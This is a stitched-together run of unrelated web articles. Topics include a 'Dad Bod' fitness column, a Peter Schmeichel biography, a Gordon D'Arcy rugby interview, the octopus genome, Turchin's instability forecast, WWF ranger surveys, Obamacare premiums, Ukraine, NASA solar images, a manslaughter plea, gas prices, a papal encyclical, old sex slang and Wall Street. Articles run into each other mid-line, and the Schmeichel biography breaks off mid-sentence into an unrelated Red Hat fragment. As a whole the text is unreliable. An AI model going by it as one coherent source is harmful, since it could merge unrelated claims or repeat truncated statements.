If you're packing an extra 20-30 pounds at 25, and you plan to maintain the same lifestyle, just imagine yourself two decades later.
If you continue living the Dad-Bod lifestyle, before you're even able to trade in that family car for a midlife crisis hotrod, your neglected and over-indulged Dad Bod will become a Gramps Bod. You'll have to give up your prized beer and nachos for blood pressure pills and Viagra. Instead of looking forward to your golden years, you'll be too busy trying to manage your type 2 diabetes and hoping erectile dysfunction doesn't ruin your night's big plans. I know I don't have to tell you this, but there's nothing sexy about that.
You know what is universally sexy? A healthy body. Forget about anyone's expectations, that hot chick's favorite "type," and even the goals of other guys here on Bodybuilding.com. A healthy body radiates a happy, confident outlook, and those are always the hottest qualities a man can possess. A truly healthy body doesn't have a squishable mound of fat hanging over the waistband. Whether you want to be athletic, have abs for days, or be a weight-crushing monster, the choice is yours. Just choose healthy—for now and your future.
A healthy body, like anything else worth having, takes work and dedication. But being healthy isn't just about vanity; it's about living. It's about taking care of yourself for the long haul—not just for yourself, but for the sake of your family and loved ones.
Of course, achieving that body and living an active life shouldn't be drudgery. Far from it! Fitness should be fun. It's personal. Whether you love lifting weights or hiking on the weekends, keeping yourself in shape shouldn't feel like torture. It should be an adventure—and yes, it's one you can take with the whole family.
Keeping yourself in shape shouldn't feel like torture.
Breaking Down the Dad-Bod Fad
Now, based on my many years of not earning a degree in psychology, but actually fighting in the trenches of life, I have my own take on this whole Dad-Bod frenzy. Given that I'm a woman of a "certain age"—translation, I've turned 39 a few times now—I think this much ballyhooed attraction to Dad Bods isn't so much for the physique. It's for what it represents.
A man with a Dad Bod seems to have a certain carefree gait, an "I know who I am and I like it" quality. Dad Bods aren't self-absorbed with their appearance, which is great, because there's nothing worse than a man more concerned with his appearance than you are.
Ladies, maybe you feel that a Dad-Bod man looks like he'd have a steady job, a reliable car, and even a mortgage he can actually afford to pay. He probably even loves kids! Swoon!
Mr. Dad Bod loves to have a good time, and he loves for you to have a good time. One more beer? Great! Two more? Even better, and let's get some more Queso Fundido for these chips! Best of all, if Mr. Dad Bod is happy with his body, he's bound to be thrilled with yours, even after a couple of kids, right? Makes sense to me!
Or maybe not. The problem is, all of these warm and fuzzy feelings of security are cuddled up to a body that won't be able to go the distance. How comforting is it that all these great qualities are tied to a man who might as well wear a "Future Heart-Disease Victim" T-shirt? Not. Comforting. At. All.
Don't get me wrong: I don't think every guy should have—or even crave—a six-pack, but I also don't think it's unreasonable to take care of yourself, pursue physical activities, indulge in moderation, and think about your future health. After all, if you're a dad with a Dad Bod, then your family deserves your absolute best—today, tomorrow, and in 10 years.
I get that some guys might be ecstatic that the Dad Bod seems to be hotter than the latest trend on Twitter—lifting a beer is way easier than lifting weights, after all—but before you ditch your gym membership for the Bacon of the Month Club, think about the years to come. I know I speak for all women who appreciate all types of men: We love you, and we really want you and your bod around for a long, long time. So please, if you sexy men love us, too, put down the nachos, cut back on the beer, and do whatever it takes to turn that Dad Bod into a Healthy Bod.Born in Gladsaxe, Copenhagen, Schmeichel was famous for his intimidating physique (at 1.91 m (6 ft 3 in) tall and weighing close to 100 kg (15 st 10 lb) during his playing days), and wore specially made size XXXL football shirts. [2] A fierce competitor, he was known for his loud, unstinting criticism of mistakes he believed the defenders in front of him committed. [3] [4] Unusually for a goalkeeper, Schmeichel scored 10 goals during his career, including one for the national team. He is also the most capped player for the Denmark national team, with 129 games between 1987 and 2001. In addition to Euro 92, he played for his country at the 1998 FIFA World Cup and three additional European Championship tournaments. He captained the national team in 30 matches. He also represented Gladsaxe Hero, Hvidovre, Brøndby, Sporting CP, Aston Villa and Manchester City in a career that lasted from 1981 until 2003 and yielded 24 trophies.
Early years Edit
Peter Schmeichel was born in the Søborggård parish of Gladsaxe, Denmark, to Inger, a Danish nurse, and Antoni Schmeichel, a Polish jazz musician. He held Polish citizenship until 1970 when he, his father, and his three sisters became Danish citizens.
Schmeichel inherited his middle name – Bolesław – from his great-grandfather.[7] He spent his early years in the town of Buddinge, Copenhagen, and began his football career playing for a team in the adjacent suburb of Høje-Gladsaxe. His first match came on 7 August 1972 at the age of 8.[8] After a two-and-a-half-year unbeaten run, Schmeichel was approached by BK Hero, a team from a few divisions above Høje-Gladsaxe and with one of the largest youth football schemes in Denmark. BK Hero merged with Gladsaxe BK in 1979 to form Gladsaxe-Hero BK, and Schmeichel was presented with the opportunity to play for the Zealand FA's junior representative team.[9]
Eventually graduating to the Gladsaxe-Hero senior squad, Schmeichel met his first mentor in Svend Aage Hansen, the first team coach at the club, and later to become his father-in-law. With Gladsaxe-Hero already relegated from the Danish Third Division with three games to go, Hansen promoted Schmeichel and six others from the youth team for a match against IF Skjold Birkerød. The team lost 1–0, but Schmeichel received mentions in local newspapers for his personal performance.[10] At the end of the season, Hansen explained to Schmeichel his plan for the future, which involved Schmeichel spending two more seasons with Gladsaxe-Hero BK before moving on to Hvidovre, playing for the Danish national team, and eventually having a successful career abroad. Schmeichel admits that he had received an offer to play for B 1903's youth team, but he turned it down as the club "seemed a bit boring".[11]
The following season Gladsaxe-Hero needed only to avoid defeat to Stubbekøbing to prevent relegation from the Danish National League. In the end, Schmeichel played one of the best games of his career and Gladsaxe-Hero won the match. At the end of the game, Hansen's daughter, Bente, ran onto the pitch and hugged Schmeichel. The two ended up going out as a couple, and they eventually got married.[12]
Before becoming a professional footballer, Schmeichel had to work a number of jobs to make ends meet. His first job came in the dyeing department of a textile factory, but safety concerns led to his resignation. He then spent 12 months as a cleaner at an old people's home, before taking up an office job with the World Wildlife Fund. He originally worked in the organisation's shops, but three weeks after he joined, the store manager left and Schmeichel was promoted to the position of sales manager. Soon after, Schmeichel was called upon to do his four weeks of compulsory military service. However, this coincided with Hvidovre's summer training camp in Portugal, which he was permitted to go on with the proviso that he completed his military service the following month. Nevertheless, the delicate organisational situation that arose between the WWF, the Danish defence department and Hvidovre prompted Schmeichel to give up working for the WWF. A job with his father-in-law's flooring firm came next, until he realised that his knees could not support his 15 stone (95 kg) frame for eight hours a day, and he was offered a job with the advertising firm owned by Hvidovre's chairman, Niels Erik Madsen. This was to be his last job outside football, as he was offered a contract with Brøndby the following spring.[13]
Professional career Edit
Brøndby Edit
Despite the fifth best defence in the league, conceding 40 goals in 30 games,[14] Schmeichel and Hvidovre finished in 14th place and were relegated in 1985. After only a single season, the club bounced right back to the 1st Division, but Schmeichel was lost by Hvidovre to Danish runners-up Brøndby IF before the 1987 season. Winning the Danish league in his first year, he joined a club which he helped turn into a success. He made his debut for the Danish national team in May 1987, under national manager Sepp Piontek, and was selected for the Euro 88 tournament, where he eventually became Denmark's starting goalkeeper, after initially serving as a back-up to Troels Rasmussen in Denmark's opening 3–2 defeat to Spain; Denmark lost both of their remaining two matches 2–0 to West Germany and Italy, however, and were eliminated in the first round of the competition.[15]
In all, Schmeichel and Brøndby won four championships in five seasons. The climax of his Brøndby career would come in the European 1991 UEFA Cup competition, which saw Schmeichel as an important part of the team that reached the semi-finals, keeping seven clean sheets in the competition.[15][16] The club was eliminated from the tournament following a 2–1 away defeat to Roma with a last-minute goal by Rudi Völler.[15] Following the tournament, Schmeichel was voted 10th in "The World's Best Goalkeeper 1991" poll by the IFFHS.[17]
Manchester United Edit
Schmeichel in July 1991, just days after signing for Manchester United
Following his showings on the international scene, Manchester United signed |
not properly vetted within Red Hat.
"We apologised to Piston, and look forward to welcoming them to Red Hat Summit as our guest. Piston has confirmed that they will be there."GORDON D’ARCY CAN describe the magnitude of the World Cup in remarkably personal terms.
After a career that (when it eventually comes to a close in October) will span five tournaments, this week has given the retiring 35-year-old his first opportunity to bask first-hand in the glow of the golden Webb Ellis Cup.
Three days later, he wound up in the trophy’s company a second time. Typical.
Before he allows himself time to sit back and daydream about being able to hold the trophy without anyone fearing a jinx, the Land Rover ambassador has himself geared up for one last big push.
“I am absolutely busting a nut to get into the squad, and not just into the squad but into the starting line-up,” says D’Arcy before explaining that his omission from Ireland’s squad in the latter half of the Six Nations wasn’t quite as black and white as it may seem from the outside. Joe Schmidt after all, knows exactly what the veteran centre could bring to the table and D’Arcy sure as hell isn’t about to let it slip his mind.
“I didn’t stay in the training squad because there was no need for me to be in the training squad. He [Schmidt] was happy to bring other players in and happy for me to come in if something happened. It meant I was able to prepare better for the Leinster games and I was actually pretty happy with how I played for Leinster during that Six Nations period.
“Joe was very involved in my decision and keen for me to stay on on the premise that I wasn’t coming to make up the numbers, but coming to fight for a number 12 spot.
“I wouldn’t be doing it if I wasn’t thinking that. And that was all he needed to hear. It was probably the shortest conversation I ever had with Joe.”
There’s fire in this ‘yellow belly’. So much that D’Arcy has jumped the gun a little on pre-season just to make sure he’s not left stuck on 82 caps regretting a premature fortnight in flip-flops.
“The motivation is there, it is there in abundance. I’m up at six in the morning – I’m doing those extra yards and I’m doing it earlier. I’m doing it before everybody else to try and get a little jump on guys so that when we come into camp I’m already firing.”
Source: James Crombie/INPHO
D’Arcy looks back on 2011 as a watershed when fitness and preparation was really taken to the next level for Irish professionals. Today, that means that players are driving high standards for one another even when they are on different continents. A quick glance on Twitter or Instagram is bound to include a player providing proof that they have found a gym to work out in, a place to make up for the well-deserved summer lapses in textbook nutrition. Approaching today’s training squad announcement and the final four months of his career, D’Arcy won’t be left behind.
“If you arrive in good shape then that’s just the bare minimum. It’s four months out from a World Cup, like. What else are you thinking? There’s guys doing boxing and lifting weights, far more than the bare minimum. Everyone is sleeping with one eye open thinking: ‘I’ve got a World Cup and I’ve got to be ready to go when I show up.’”
“I sat down with the Irish fitness coach in May and we planned out the whole summer, the training I’m doing is organised,” adds the Wexford man, still shorn of the beard that had threatened to become his trademark.
“It’s not me going off on a 40 kilometre cycle or anything like that. The science behind everything will have me ready to peak on the pitch in those warm-up games. You just have to be realistic: I’m 35 and I can’t do what I did when I was 30.
“If I train trained [in] the same volume in the same block period as I did when I was younger I would probably break down, but if I can spread it out over a longer period I’ll get more done and there will be less attrition on my body.”
D’Arcy is planning ahead and preparing for the challenges that come after hanging up the boots. Because he’s one of a fortunate breed of rugby players who have been able to set their own retirement date rather than have the news broken to them in a surgeon’s office. The redoubtable centre is ‘busting a nut’ so that he won’t find he has played himself to a standstill. There’s more to life than rugby, more than even that little chunky gold trophy he’s become accustomed to this week after almost two decades of admiration from afar.Written by
Yesterday, a number of sites started running stories that seemed to imply that octopuses are aliens. As in, from outer space (?). The Yahoo! News headline ran with Octopus genetic code reveals ‘alien creature’; over at the Mirror, they were having a field day with Octopus genetic code is so strange it could be an ALIEN, according to scientists; and the Irish Examiner proudly proclaimed, Don’t freak out, but scientists think octopuses ‘might be aliens’ after DNA study.
I make no promises. I might freak out.
Although the titles of the articles might be a little unclear, in some instances, the authors clarified that the scientists involved with the research were really just using a clever metaphor to highlight the unique complexity of the octopus genome i.e., octopuses aren’t really from outer space and their DNA is not utterly unique.
Take this quote from Futurity, which ran with the headline Alien Genome Reveals Octopus Secrets: “‘The octopus genome makes studies of cephalopod traits much more tractable, and now represents an important point on the tree of life for comparative evolutionary studies,’ Ragsdale [senior co-author of the study] says. ‘It is an incredible resource that opens up new questions that could not have been asked before about these remarkable animals.’”
Here, the Futurity author goes out of his way to make is clear that the word “alien” is only being utilized to highlight the striking differences that scientists have found between octopuses and other invertebrates. Unfortunately, the same cannot be said of all authors.
Take the Metro article, this astounding 100 word piece is chock full of scientific rigor (sarcasm, obviously). It boldly proclaims, “The first full genome sequence shows of that octopuses are totally different from all other animals – and their genome shows a striking level of complexity with 33,000 protein-coding genes identified, more than in a human” [emphasis added].
As this quote demonstrates, throughout the article, the author implies that octopuses have a different evolutionary history than the rest of the species found on Earth. In short, it indicates that these creatures really are aliens. And of course, they are not.
Now admittedly, the Metro is far from the most reliable publisher. But they have several million followers on their sites, easily beating Nature (where the research was actually published) in the social media game. In the end, their article got more than 600 shares on Facebook. And here’s an example of the kind of comments that it got:
Similarly, when people shared this story, they were quick to highlight the truly “alien” nature of these creatures. Most often, they pulled this quote from the article and used it as a caption when they shared the story: “They’re basically unrelated to anything else on our planet.”
Both of the above examples show what is wrong with this story: Aside from being unutterably inaccurate, it is being used as fuel by deniers to prove that the theory of evolution is flawed.
Let’s be clear, the octopus is related to every single organism on this planet. It is not “totally unique.” And no evidence indicates that there are flaws in the theory of evolution.
While a majority of the individuals who saw these articles may have understood these points, and realized that claims to the contrary are unreliable and erroneous, many people are clearly being misled. But at least now you will have a handy article to send to any friends, family, etc. who may not understand these ideas…
Unpacking the Facts
If you aren’t aware, octopuses are very incredible and highly-intuitive creatures. From their keen ability to mimic other creatures to their indisputable displays of intelligence, they are truly complex creatures. The most recent research highlights this complexity.
What the research published in Nature actually shows is the widespread genomic rearrangements that took place over the course of this organism’s evolutionary history. It also underscores the significant expansion of a family of genes that play a role in neuronal development. Notably, previously, this gene expansion was believed to be a unique characteristic of vertebrates. Now, thanks to this research, we know that similar processes happened in at least one invertebrate (octopuses).
In short the research, which is the first whole genome analysis of an octopus, shows that the evolution of the octopus genome was probably driven by the expansion of a few specific gene families, systemic genome shuffling, and the appearance of novel genes.
Yes, it also highlights features that are unique to octopuses, but it certainly doesn’t show that these creatures are totally unique organisms. Indeed, we know that all life on Earth is related.
A Solid Case for Evolution
Evolution is a scientific fact. This new research does not dispute this or even call it into question. Indeed, the authors rely heavily on the theory of evolution in their paper.
But what is a scientific fact?
For those who are wondering, according to the National Center for Science Education, in science, a “scientific fact” is “an observation that has been repeatedly confirmed and, for all practical purposes, is accepted as ‘true.’ Truth in science, however, is never final and what is accepted as a fact today may be modified or even discarded tomorrow.” Similarly, the National Academy of Science says,
In science, a “fact” typically refers to an observation, measurement, or other form of evidence that can be expected to occur the same way under similar circumstances. However, scientists also use the term “fact” to refer to a scientific explanation that has been tested and confirmed so many times that there is no longer a compelling reason to keep testing it or looking for additional examples. In that respect, the past and continuing occurrence of evolution is a scientific fact. Because the evidence supporting it is so strong, scientists no longer question whether biological evolution has occurred and is continuing to occur. Instead, they investigate the mechanisms of evolution, how rapidly evolution can take place, and related questions.
[that last sentence is precisely what this new research was delving into.]
In short, there is a plethora of evidence supporting evolution. It is a very real scientific process that is accepted by the scientific community. No evidence refutes it. None. At all. But a ton of evidence and observation supports it. So if a absurd headline comes your way, just go back to the original paper. Chances are, it’s not saying what the popular media claims.We are living in society’s twilight years – if a professor of ecology and mathematics from the University of Connecticut is correct. Studying history as a science with variables and trends, he predicts the 2020s will see massive instability.
For some, our political future is frightening. Others find it exciting. But Professor Peter Turchin from the University of Connecticut claims that it is time to prepare for political turmoil that could rock society to its core.
Turchin is known for developing a cross-disciplinary subject known as “cliodynamics,” which treats history like any other science, with predictions and models. He has been writing about the subject for some time, but three years ago he began working on predicting the future. One of his predictions was: “We should expect many years of political turmoil, peaking in the 2020s.”
Read more
Turchin says that “the negative trends seem to be accelerating,” and that in three years, the path to instability will seem unavoidable. He was quick to point out that Donald Trump’s presidential election neither accelerates nor decelerates the process, but was simply a predicted aspect of his theory.
Turchin’s concepts include “elite overproduction,” in which the rich grow richer and relate less and less to the poor. He said that elite overproduction would result in “ideological polarization and fragmentation of the political class.” He used the 2016 election as a prime example, and explained that the Republican party has shattered into different factions consisting of Traditional Republicans, Tea Party Republicans, and Trump Populists.
He also said the same applies to the Democratic Party, with the divide between Democratic Socialists and Establishment Democrats.
Turchin also notes that the weakening fiscal health of the state, which occurs as revenues fall and expenses rise, while quality of life stagnates and declines, will also play into instability in the US.
Trump’s proposed policies appear to fall in line with his predicted course towards total meltdown.
“Drastically reducing taxes on wealthy Americans will hardly strengthen the fiscal health of the state,” he wrote.
So does this mean that we should start preparing bomb shelters? Not necessarily, according to Turchin. While current events may be following his predicted trends, he does not believe that they are the be-all and end-all. “This is a science-based forecast, not a ‘prophecy’” he explained.
In order to avoid a major meltdown, Turchin proposes “an open discussion of problems and potential solutions,” but as anyone who has been on Twitter lately knows, that may prove difficult.
He also cited the need for better science, saying that a nonpolitical, nonpartisan institute should be set up to address these issues from a scientific standpoint.Battling a global poaching crisis, wildlife rangers believe they lack the necessary equipment, training and support from their governments to protect themselves and the world’s threatened wildlife from poachers, according to a new WWF study released today at the World Ranger Congress in Colorado, USA.
Ranger Perceptions: Africa surveyed 570 rangers across 12 African countries and found that 82 percent had faced a life-threatening situation while on duty. But 59 percent felt they were insufficiently equipped and 42 percent felt they lacked sufficient training to do their jobs safely and effectively.
These results echo the findings of a similar survey of Asia’s rangers, the majority of whom had also risked their lives in the line of duty and felt equally ill-equipped to perform their critical frontline tasks. Preliminary results from a third survey suggest that rangers in Latin America face similar challenges.
“Africa’s rangers are doing an incredibly dangerous job with one hand tied behind their backs: putting their lives and the continent’s wildlife at even greater risk,” said Fredrick Kumah, WWF Africa Director. “Bravery is not enough: we must provide these heroic men and women – and their counterparts in Asia and Latin America – with the best available tools and training to give them the upper hand against the poachers.”
Last year alone, around 30,000 elephants and a record 1,338 rhinos were killed in Africa, while countless other animals were poached and trafficked, feeding an illegal wildlife trade that is increasingly being driven by international organised crime. Scores of rangers are also injured or die each year, with six killed on duty in the Democratic Republic of Congo and India in the past two months.
“The growing influence of organised criminal networks means governments must rapidily professionalise their ranger force, but many seem quick to promise action but slow to provide the necessary investment,” said Elisabeth McLellan, WWF Head, Wildlife Crime Initiative. “Poaching threatens communities and economies as well as species: investing in better equipment for rangers and the establishment of new training centres is a price worth paying.”
In many cases, African rangers lack not only sufficient weapons and vehicles, but also more basic necessities like boots, shelter and clean water supplies. Across the continent, there are only a few specialised ranger training centres. But it is not just a question of better tools and training, rangers also deserve improved conditions of employment and greater recognition of their work.
The survey found that many African rangers have a poor work/life balance with 47 per cent seeing their families for just five to ten days a month, while rangers ranked low or irregular pay as one of the worst aspects of their job – findings that were also shared by rangers in Asia and Latin America.
A separate WWF ranger insurance study of 33 countries across the globe, which was also released at the World Ranger Congress today, found that rangers are often not adequately covered by insurance. Despite the dangers of their jobs, many rangers lack health insurance (18 percent of countries surveyed), life insurance (36 per cent) and long-term disability cover (45 per cent).
"It is critical that we have a well-supported, skilled and motivated ranger corps in order to reduce the risk to rangers and their families,” said Chris Galliers, Chairman of the Game Rangers Association of Africa (GRAA). “We must invest in rangers by putting in place the right support systems as it is this investment that will secure our wild places and wildlife assets for all, forever.”The New York Times reports that many Americans with health insurance purchased under Obamacare will face substantial price increases next year — in some cases as much as 20 percent — unless they switch plans. The Times report is based on data released by the Obama administration on Friday, just hours before the health insurance marketplace opened to buyers seeking insurance for 2015.
According to the Times, “the new data means that many of the seven million people who have bought insurance through federal and state exchanges will have to change to different health plans if they want to avoid paying more — an inconvenience for consumers just becoming accustomed to their coverage.” Beyond the matter of inconvenience, there is also the fact that the new plan, available at about the price of the old one, typically will be less desirable than the old plan, which now costs more.
The Times provides an example from Nashville:
A 40-year-old in Nashville, with the cheapest midlevel, or silver plan, will pay $220 a month next year, compared to $181 a month this year, for the same plan. The least expensive plan is offered by another insurer, Community Health Alliance, one of the so-called co-op plans created under the federal law. It offers coverage for a monthly premium of $194. But the lower premium [ed: which is still higher than the 2014 premium] means that consumers will have to pay a much larger annual deductible, $4,000, rather than $2,000. A policyholder who becomes seriously ill or has a costly chronic condition could pay hundreds of dollars in out-of-pocket expenses. In addition, different health plans often have different networks of doctors and hospitals and cover different drugs, meaning that consumers who change plans may have to pay more for the same medicines.
There’s more. According to the Times, if the price for a low-cost benchmark plan in the area has dropped, the amount of federal subsidies provided by the law could be less, meaning that consumers may have to pay more unless they switch plans.
The whole thing smacks of bait and switch. The difference? Normally, you don’t get fined for not taking the bait.
High deductibles will continue to be a hallmark of Obamacare plans. For example, in Muscogee County, Georgia, 74 health plans are available on the federal exchange. Fifty-two of the plans have deductibles of $2,500 or more, and 27 have deductibles of $5,000 or more.
Similarly, in Charleston, West Virginia, half of the 14 health plans available have deductibles of $2,500 or more, and one has a deductible of $5,000 or more. And in Jeff Davis County, Texas, all but four of the 17 plans available have deductibles of $2,500 or more, and seven plans have deductibles of $5,000 or more.
The IRS defines a high-deductible plan as one with a deductible of $1,300 or more. Many Obamacare plans are better described as stratospheric-deductible plans. And many consumers will be forced to switch to such plans if they wish to keep their premiums roughly the same.
Obamacare continues to be full of unpleasant surprises. Perhaps the Supreme Court will pull the plug on it.The ceasefire in the Ukraine has cracked further, as five soldiers were reported killed and at least several others wounded by pro-Russian separatists over the course of 24 hours on Sunday.
The report marks the second deadliest day for Ukrainian servicemen so far this year, after seven Ukrainian soldiers were reported killed last Tuesday.
According to military spokesman Oleksandr Motuzyanyk, the government-controlled town of Avdiyivka, north of rebel-held Donetsk city, is one of the main hotspots for recent violence.
No end in sight to fighting
The conflict began in the winter of 2014 following the ouster of President Viktor Yanukovych and the subsequent annexation of Crimea. A ceasefire was signed in February 2015, but continued violence between government and separatist forces has spurred the war.
Last week, captured Ukrainian pilot Nadiya Savchenko was released by Moscow as a part of a prisoner swap with Kyiv. Some observers hoped the release of Savchenko - who'd become a symbol of Russian oppression of Ukraine for many - would help quell the violence.
Russia has repeatedly denied supplying separatists with weapons and equipment, despite Western accusations to the contrary.
blc/rc (Reuters, AFP)NASA has released a photo of the sun from October 8, where its active regions combined to make it look like a Halloween pumpkin or a jack-o’-lantern. That is a pleasant bonus for stargazers who enjoyed a spectacular “Blood Moon” on the same day.
To achieve the stunning jack-o’-lantern effect they have made a blend of two separate wavelengths - 171 and 193 angstrom light, which are usually gold and yellow in color.
According to NASA, extreme ultraviolet light of 171 angstroms shows the sun’s atmosphere, also known as the corona, when it is quiet and also shows huge magnetic arcs known as coronal loops. Light of 193 angstroms shows a hotter region of the sun’s atmosphere and the much hotter material of solar flares. Specialized instruments are used by NASA to observe light not visible to the naked eye.
NASA has a number of other stunning images of the Pumpkin Sun in different wavelengths.
“The active regions appear brighter because those are areas that emit more light and energy – markers of an intense and complex set of magnetic fields hovering in the sun’s atmosphere, the corona,” NASA said in a statement.
The photos show what are storms and flares on the surface of the sun.
But although thejack-o’-lanternsun is good news for star gazers and early trick-or-treaters, its bad news for a host of other people as solar flares can damage satellites and even threaten airliners by disturbing the earth’s magnetic field.
Very large solar flares can even knock out energy supplies by creating currents within electricity grids.The Associated Press - COLUMBUS, Ohio (AP) — An Ohio baby sitter who authorities say gave a fatal dose of Benadryl to an 8-month-old boy has pleaded guilty to involuntary manslaughter and other crimes.
Lori Conley also pleaded guilty Monday in a Franklin County court to child endangering and tampering with evidence in the 2016 death of Haddix Mulkey. She's in her 40s and could be sentenced to up to 17 years in prison.
Conley's attorney hasn't returned a phone call seeking comment.
Prosecutors says the Reynoldsburg woman gave an adult dose of the over-the-counter allergy medication to Haddix to try to get him to sleep while she was baby-sitting him May 13 at her suburban Columbus home. She called 911 after finding him unresponsive.
Authorities say Haddix died that day at a hospital from the overdose.HOUMA — Gas prices are likely to keep increasing as long as unrest persists in Libya and other oil-producing countries in the Middle East, transportation officials said Thursday.
That's no cause for panic, said Don Redman, a spokesman for AAA Louisiana in Metairie. But consumers should be prepared to pay a little more for gasoline, and possibly food and consumer goods, at least in the coming weeks and possibly throughout the summer.
“In the short term they can expect gas prices to escalate,” Redman said. “We've seen just in the past few days prices jump by over a dime. We're bracing to pay high prices this year.”
Statewide, prices averaged $3 for a gallon of regular unleaded Feb. 17, AAA surveys show. A week later, that price had jumped to $3.08.
That's up from the $2.59 drivers paid per gallon a year ago but still below the all-time statewide record of $4 in July 2008.
Many factors contribute to how much it costs to fill up your car or truck, but the price of crude oil weighs heavily. Those prices are determined on a worldwide basis according to the supply available and how much consumers demand.
In absolute terms, Libya produces about 2 percent of the world's global oil supply, but the psychological effect on trading makes a difference, Redman said.
“There's less oil available but still the same demand,” said John LeJaunie, a finance professor at Nicholls State University in Thibodaux. “When there's a lot of uncertainty, that implies risk and that pushes prices higher.”
Libya has Africa's biggest oil reserves and had been producing about 1.6 million barrels of crude a day. The ongoing clashes between military forces and reform-minded protestors have caused major oil-and-gas companies to evacuate their staff and suspend much oil production. Italian oil company Eni has said that the violence in Libya has subtracted 1.2 million barrels of oil from global markets.
On Wednesday, crude prices spiked to more than $100 per barrel for the first time in nearly two years. On Thursday, crude prices hit more than $103 per barrel before closing at around $97.
The high prices cut both ways for the Houma-Thibodaux area, however. Expensive gasoline hurts consumers and many small businesses, but high crude prices spell lucrative drilling conditions, which ordinarily spur local oil industry investment and job growth.
But that's not happening now. The federal government has halted issuing deepwater-drilling permits as it overhauls its safety and environmental regulations on the oil industry after the Deepwater Horizon oil spill. The Obama administration has held that the reforms are necessary to be sure such a disaster never happens again.
Local officials on Thursday were quick to point out the slowdown in domestic drilling.
“We're not at all helping ourselves by not drilling and allowing our production levels to drop on a daily basis,” said Chett Chiasson, director at Port Fourchon, which serves 90 percent of deepwater activity in the Gulf.
U.S. Rep. Jeff Landry, R-New Iberia, repeated the refrain that the United States' reliance on foreign oil is a vulnerability.
“Every day we fail to utilize our own energy resources in the Gulf of Mexico and across America is a day our economy is held captive to disasters in foreign countries,” Landry said.
Over the longer term, Redman said it's possible for customers to see gasoline prices as high as $3.75 per gallon before the year's end, but that will depend on how long the unrest continues.
The Associated Press
contributed to this report.Wikipedia
Pope Francis is reported to be wanting to galvanise Catholic Church's response to climate change.
Christiana Figueres, head of the UN's climate change secretariat, told an audience at St Paul's Cathedral that a new encyclical on the environment was forthcoming.
A Papal encyclical, a letter explaining the Catholic Church's views on a subject, sent out to the approximately 5,100 Catholic bishops worldwide, is an indication that a particular issue has become of great importance to the Church.
Ms Figueres expected that it would be released before the UN's climate change summit in Paris, in November and December of 2015.
However she was unsure if it would be released before the summit in September 2014 where UN Secretary General Ban Ki Moon is encouraging world leaders to draw up ambitious plans ahead of the 2015 summit.
Regardless of timing however, Ms Figueres was quoted in Business Green as saying that she believed that such an encyclical "could provide a strong signal to governments, cities, companies and citizens everywhere of the moral, ethical and responsibility dimensions of climate action".
Ms Figueres also praised the work of a number of faith groups actions on climate change in recent times, including the Church of England's review of its fossil fuel investments, UK Quakers divesting themselves of fossil fuel investments, and Multi-faith groups in Australia and North America who wrote to Pope Francis insisting that profiting from fossil fuels was immoral.
The Vatican has not offered any comment on the possibility of an encyclical on climate change. However in January, Pope Francis was reported to have begun drafting a text on ecology and the environment, which could become an encyclical.
Father Federico Lombardi, director of the Holy See Press Office, said to Vatican Radio that Pope Francis "intends to put particular emphasis on the theme of 'human ecology,' a phrase used by Pope Benedict to describe not only how people must defend and respect nature but how the nature of the person – masculine and feminine as created by God – must also be defended".
In Pope Benedict XVI's 2009 encyclical Caritas in Veritate – Charity in Truth, he speaks often of the importance of the environment to the Church: "The Church has a responsibility towards creation and she must assert this responsibility in the public sphere.
"In so doing, she must defend not only earth, water and air as gifts of creation that belong to everyone. She must above all protect mankind from self-destruction."While shoe-horning these into conversation today might prove difficult, these 17 synonyms for sex were used often enough in 19th-century England to earn a place in the 1811 Dictionary of the Vulgar Tongue, a book for upper-crust Britons who had no idea what the proles were talking about.
1. Amorous congress
To say two people were engaged in amorous congress was by far the most polite option on the list, oftentimes serving as the definition for other, less discreet synonyms.
2. Basket-making
"Those two recently opened a basket-making shop." From a method of making children's stockings, in which knitting the heel is called basket-making.
3. Bread and butter
One on top of the other. "Rumor has it he found her bread and butter fashion with the neighbor."
4. Brush
"Yeah, we had a brush once." The emphasis here is on brevity; just a fling, no big deal.
5. Clicket
"They left together, so they're probably at clicket." This was originally used only for foxes, but became less specific as more and more phrases for doing it were needed.
6. Face-making
Aside from the obvious, this also comes from "making children," because babies have faces.
7. Blanket hornpipe
There is probably no way to use this in seriousness or discreetly, but there you have it.
8. Blow the grounsils
"Grounsils" are foundation timbers, so "on the floor."
See Also: 11 Sexting Acronyms From the 1930s
9. Convivial society
Similar to "amorous congress" in that this was a gentler term suitable for even the noble classes to use, even if they only whispered it.
10. Take a flyer
"Flyers" being shoes, this is "dressed, or without going to bed."
11. Green gown
Giving a girl a green gown can only happen in the grass.
12. Lobster kettle
A woman who sleeps with soldiers coming in at port is said to "make a lobster kettle" of herself.
13. Melting moments
Those shared by "a fat man and woman in amorous congress."
14. Pully hawly
A game at pully hawly is a series of affairs.
15. St. George
In the story of St. George and the Dragon, the dragon reared up from the lake to tower over the saint. "Playing at St. George" casts a woman as the dragon and puts her on top.
16. A stitch
Similar to having a brush, "making a stitch" is a casual affair.
17. Tiff
A tiff could be a minor argument or falling-out, as we know it. In the 19th century, it was also a term for eating or drinking between meals, or in this case, a quickie.In "What Good Is Wall Street?" a long, thoughtfully argued piece in the New Yorker, John Cassidy makes the case that "Much of what investment bankers do is socially worthless" -- it doesn't "provide liquidity" or "price risk," it merely extracts farcical rents for the relatively utilitarian task of moving money around:
Most people on Wall Street, not surprisingly, believe that they earn their keep, but at least one influential financier vehemently disagrees: Paul Woolley, a seventy-one-year-old Englishman who has set up an institute at the London School of Economics called the Woolley Centre for the Study of Capital Market Dysfunctionality. "Why on earth should finance be the biggest and most highly paid industry when it's just a utility, like sewage or gas?" Woolley said to me when I met with him in London. "It is like a cancer that is growing to infinite size, until it takes over the entire body."
From 1987 to 2006, Woolley, who has a doctorate in economics, ran the London affiliate of GMO, a Boston-based investment firm. Before that, he was an executive director at Barings, the venerable British investment bank that collapsed in 1995 after a rogue-trader scandal, and at the International Monetary Fund. Tall, soft-spoken, and courtly, Woolley moves easily between the City of London, academia, and policymaking circles. With a taste for Savile Row suits and a keen interest in antiquarian books, he doesn't come across as an insurrectionary. But, sitting in an office at L.S.E., he cheerfully told me that he regarded himself as one. "What we are doing is revolutionary," he said with a smile. "Nobody has done anything like it before."Everyone’s favourite game director Yoko Taro answers a few fan questions about Nier: Automata and beyond.
Now that Nier Automata is in the hands of PS4 players –
and soon to be in PC players’ hands, eccentric game director Yoko Taro is free to answer fan questions.
Taro attended PAX East over the weekend and took this opportunity to answer a few questions, some of which were captured in this Facebook video. The game director touched on a couple of interesting topics during the Q&A.
